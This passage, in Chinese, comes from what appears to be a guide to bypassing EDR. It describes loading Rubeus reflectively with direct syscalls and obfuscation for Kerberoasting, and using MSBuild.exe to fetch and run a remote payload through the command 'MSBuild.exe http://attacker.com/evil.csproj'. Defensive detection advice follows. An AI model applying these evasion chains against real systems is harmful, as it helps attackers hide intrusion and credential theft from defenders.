* **目標:** 在目標系統上執行 Rubeus.exe 工具,進行 Kerberos 相關的攻擊 (例如 Kerberoasting),同時盡可能繞過 EDR 偵測。
* **技術組合:**
* **反射式 Assembly 載入:** 將 Rubeus.exe 工具的 Assembly byte array 內嵌到 C# Loader 程式碼中,使用 `Assembly.Load(byte[])` 方法反射式載入 Rubeus.exe,避免檔案落地。
* **Syscall 直接呼叫:** 在 Rubeus.exe 工具中,將關鍵的 API 呼叫 (例如 `CreateProcess`, `VirtualAlloc`, `WriteProcessMemory`, `NtReadVirtualMemory` 等) 替換為 Syscall 直接呼叫,繞過 Ntdll API Hook。
* **程式碼混淆:** 對 C# Loader 程式碼和 Rubeus.exe 工具的原始碼進行程式碼混淆和字串加密處理,降低靜態分析和特徵碼偵測的機率。
* **執行流程:**
* 編譯混淆後的 C# Loader 程式碼。
* 執行 C# Loader 程式。
* Loader 程式反射式載入 Rubeus.exe 的 Assembly。
* Rubeus.exe 在記憶體中執行,進行 Kerberos 攻擊操作 (例如 Kerberoasting)。
* Rubeus.exe 的關鍵 API 呼叫透過 Syscall 直接呼叫方式實現,繞過 Ntdll Hook。
* Rubeus.exe 的輸出結果輸出或回傳給攻擊者。
* **優勢:** 綜合利用反射式載入、Syscall 直接呼叫和程式碼混淆技術,可以有效降低被基於檔案掃描、API Hook 監控和靜態分析的 EDR 系統偵測到的機率。
3. **LoLBins + 程式碼混淆 + 遠端 Payload 載入**:
* **目標:** 在目標系統上執行惡意 Payload,並盡可能偽裝成正常系統行為,繞過 EDR 偵測。
* **技術組合:**
* **LoLBins (MSBuild.exe):** 使用 `MSBuild.exe` 作為 Loader 程序,載入和執行惡意 Payload。`MSBuild.exe` 是系統合法工具,且常用於軟體開發,具有較好的偽裝性。
* **程式碼混淆:** 將惡意 Payload (例如 C# 程式碼片段) 進行程式碼混淆和字串加密處理,降低靜態分析和特徵碼偵測的機率。
* **遠端 Payload 載入:** 將混淆後的惡意 Payload 儲存在遠端伺服器上,`MSBuild.exe` 從遠端下載並載入 Payload,避免 Payload 落地到目標系統磁碟。
* **執行流程:**
* 準備一個惡意的 .csproj 專案檔案,其中包含混淆後的 C# 程式碼片段,程式碼功能為從遠端伺服器下載並執行真正的惡意 Payload (例如 shellcode 或 Assembly)。
* 將惡意的 .csproj 檔案託管在 Web 伺服器上。
* 在目標系統上執行命令: `MSBuild.exe http://attacker.com/evil.csproj`
* `MSBuild.exe` 從指定 URL 下載 evil.csproj 專案檔案。
* `MSBuild.exe` 編譯並執行 evil.csproj 專案檔案中的 C# 程式碼。
* C# 程式碼從遠端伺服器下載真正的惡意 Payload。
* C# 程式碼在記憶體中執行惡意 Payload (例如 shellcode 注入或反射式 Assembly 載入)。
* **優勢:** 利用 `MSBuild.exe` 這個 LoLBin 作為 Loader,可以偽裝成正常的軟體編譯過程。程式碼混淆降低靜態偵測機率,遠端 Payload 載入避免 Payload 落地。綜合利用這些技術,可以提高攻擊的隱蔽性。
---
## 防禦與偵測建議 (補充)
為了有效應對上述 EDR/AV 繞過技術,防禦方應採取多層次、縱深防禦策略:
1. **加強 AMSI 和 ETW 監控與保護**:
* **強化 AMSI 提供者 (Antimalware Provider):** 持續更新 AMSI 提供者的特徵庫和掃描引擎,提高對新型惡意腳本和繞過技術的檢測能力。
* **監控 AMSI 繞過行為:** EDR 系統應監控針對 `amsi.dll` 記憶體區域的修改行為,以及對 AMSI 相關 API 的異常調用。
* **ETW Provider 完整性檢查:** 定期檢查 ETW Provider 的配置和狀態,確保關鍵 Provider 正常運行,沒有被禁用或損壞。
* **監控 ETW 繞過行為:** EDR 系統應監控針對 `ntdll.dll` 記憶體區域的修改行為,以及對 ETW 相關 API 的異常調用。
* **行為分析與關聯:** 即使攻擊者繞過了 AMSI 和 ETW,EDR 系統仍然可以透過行為分析和事件關聯,基於其他監控數據 (例如程序行為、網路連線、檔案操作) 偵測可疑活動。
2. **強化 PowerShell 監控與限制**:
* **限制 PowerShell 的使用:** 對於非必要的系統,應盡可能限制 PowerShell 的使用,僅允許授權用戶和應用程式使用。
* **AppLocker 或其他應用程式控制:** 使用 AppLocker 或其他應用程式控制機制,限制可執行的 PowerShell 版本和腳本路徑,並設置強制的程式碼簽章策略。
* **PowerShell 腳本日誌記錄與審計:** 啟用 PowerShell 腳本日誌記錄和審計功能,記錄所有 PowerShell 指令碼的執行細節,便於事後分析和追溯。
* **Runspace 行為監控:** EDR 系統應監控 .NET 應用程式中 Runspace 的創建和使用行為,以及 Runspace 中執行的 PowerShell 指令碼內容。
3. **嚴格控制 LoLBins 的使用**:
* **LoLBins 清單管理:** 建立 LoLBins 白名單和黑名單,明確允許和禁止使用的系統工具。
* **行為監控與異常檢測:** EDR 系統應監控 LoLBins 的命令行參數、執行行為、網路連線等,建立基線行為模型,檢測異常的 LoLBins 使用行為。
* **最小權限原則:** 遵循最小權限原則,限制用戶和應用程式使用 LoLBins 的權限,降低 LoLBins 被濫用的風險。
* **定期審計與告警:** 定期審計 LoLBins 的使用情況,並對異常的 LoLBins 使用行為發出告警。
4. **加強記憶體掃描與分析能力**:
* **強化記憶體掃描引擎:** 持續更新記憶體掃描引擎,提高對記憶體中惡意程式碼和行為的檢測能力,包括反射式載入的 Assembly, shellcode, 以及其他 in-memory attack 技術。
* **行為記憶體分析 (Behavioral Memory Analysis):** 結合行為監控和記憶體分析技術,不僅掃描記憶體中的靜態特徵,更要分析記憶體中的程序行為模式,檢測異常的記憶體操作和惡意行為。
* **動態分析與沙箱技術:** 結合動態分析和沙箱技術,對可疑程式碼進行動態執行和行為分析,更全面地評估其惡意性。